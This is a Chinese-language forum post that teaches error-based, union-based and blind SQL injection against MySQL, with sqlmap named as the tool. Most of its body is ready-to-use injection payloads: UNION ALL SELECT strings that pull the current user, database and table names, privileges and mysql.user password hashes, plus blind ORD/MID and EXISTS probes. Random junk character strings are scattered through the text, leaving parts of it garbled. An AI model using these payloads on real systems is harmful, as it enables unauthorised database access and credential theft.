放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。4 o7 h; _# K8 K
1 g; w9 b8 l! r9 F& _
这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表, o. H" D- h- w; x; X+ a
- e3 N; \& l& Z/ }5 c
分类标准 分类 备注* ^- I+ o# O2 ]3 U5 |1 g
按字段类型 整型注入,字符型注入
3 E: j# l, B8 `3 u0 X1 @7 m2 z. X. z按出现的位置 get注入,post注入,cookie注入,http header注入 , [( I' G) m% K% Y; x) [8 j
然而高级注入是这样的* ^: l: B: {8 K9 w: ?& F4 H# `
: Z$ j- V8 L1 k1 u1 m- f: ^
高级注入分类 条件
4 R1 l/ s( i3 T, ^error-based sql 数据库的错误回显可以返回,存在数据库,表结构; k# K4 b! `3 `; t
union-based sql 能够使用union,存在数据库,表结构
* @, ~7 I6 B) hblind sql 存在注入
, X- W, ^# y) b. L0 {" [我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。
9 v# F. r* e9 K1 j& E0 x( y, B/ m ) ?" ?) m I% ~/ @- ?
好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
7 n/ d% t, m, S4 t) j
1 J: W& Q+ t0 P. a附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。9 t$ H2 k6 R/ [' B/ o& ^
& ^% a+ ]+ W5 w
这里用mysql说明/ k0 w- u0 b' s2 e) y8 b. ^, B
_6 ~* ~( B) _6 ?e注入坛子里很多了,请看戳我或者再戳我 ^' e, x2 r3 [+ h8 i
5 @% Q: \- e6 T5 f ^5 o; Y6 J" Xu注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的9 V' W: S. Q& U+ o9 O
6 c- {+ B: |9 K% \
获取当前数据库用户名. g' `( x0 D& r0 z Z. s: `
0 a$ L% E+ d& T
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
0 [$ [9 l& I7 |- g( e% BAST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL& k3 n7 ~" l6 n
L, NULL#" K2 ?' w. ^4 S& _- P
注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。
/ q1 V3 g5 h6 m/ f$ w' J, r$ G 6 r0 a" g) G+ ^/ o
获取数据库名
( X- ^$ s# w0 V2 G- Y / Q( v; ?; ?7 p" v2 w) u
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
w1 J+ j& f1 w: o; J获取所有用户名' R* M( [6 z! h3 k6 R- Z/ r' N
, W3 r0 Y5 G: d5 R- B* T
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
W/ {# F( [" v( @查看当前用户权限 K. j- y: {% c3 `/ B- U- W& Y6 U
/ R% v0 o5 _- u. F* c; x1 v6 ^- B
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
" y6 \+ G+ m( ]* E尝试获取密码,当然需要有能读mysql数据库的权限+ H0 A8 b7 C U4 l
5 y1 G8 S4 d- {* z/ F
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#
$ |/ a+ s3 S2 O7 ^! u6 t4 j获取表名,limit什么的自己搞啦
5 o1 I" \' @* E8 _" M/ m/ s' G% {, p
: d7 b b( \5 v* N' J2 D# gUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
6 n1 X- K! ?, n7 P! p8 R* H获取字段名及其类型( D7 p+ y( o4 J0 |( P2 F
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
* X" i: N/ g( I4 w0 I3 M6 s 8 \. `/ a$ {; L
b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。0 d" D* t5 b9 R4 I0 j! p0 {
0 N9 K( R) j0 B1 k: N6 R" R
如:$ w% H0 l- B" U8 Y
获取当前用户名5 r& m- p1 X; T R% T3 X" y
- z- o0 |# X* [" y* mAND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116% ?6 I; K* _6 l
获取当前数据库
: A% Q9 O' @: p( g$ V% A. a" \0 Y
$ S) ]" n4 u5 M6 A+ k; U* s& vAND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 1066 I7 T o: K0 |, w, t( [. _+ a
获取表名7 |& r- ~' n$ a7 ~6 Q% ^
& M7 K# U' v$ x2 i+ w/ }! k
AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
$ s5 r0 d# \5 u2 K获取字段名及其类型和爆内容就不说了,改改上面的就可以了。
: [. {: ], `1 f* y回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
, n- @$ w7 j7 z/ Z爆表
: G: i/ B- Q, C; j8 P 4 e0 D# I$ X2 R: K3 I# L
AND EXISTS(select * from table)9 U, O8 D) F J9 p: t, m) ]$ z
爆字段
- g0 I6 g: r; l% s* P
# ]8 h0 }( d4 j4 [9 oAND EXISTS(select pwd from table)
) C% D6 v0 y( N m0 B, K盲注的变化就比较多了,由于篇幅,只是举个例子而已。
4 A9 C! R" `% j+ M- N
/ s) y, R3 {0 H( G* t. _本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。) p7 O- i" D4 R/ T n h# c
|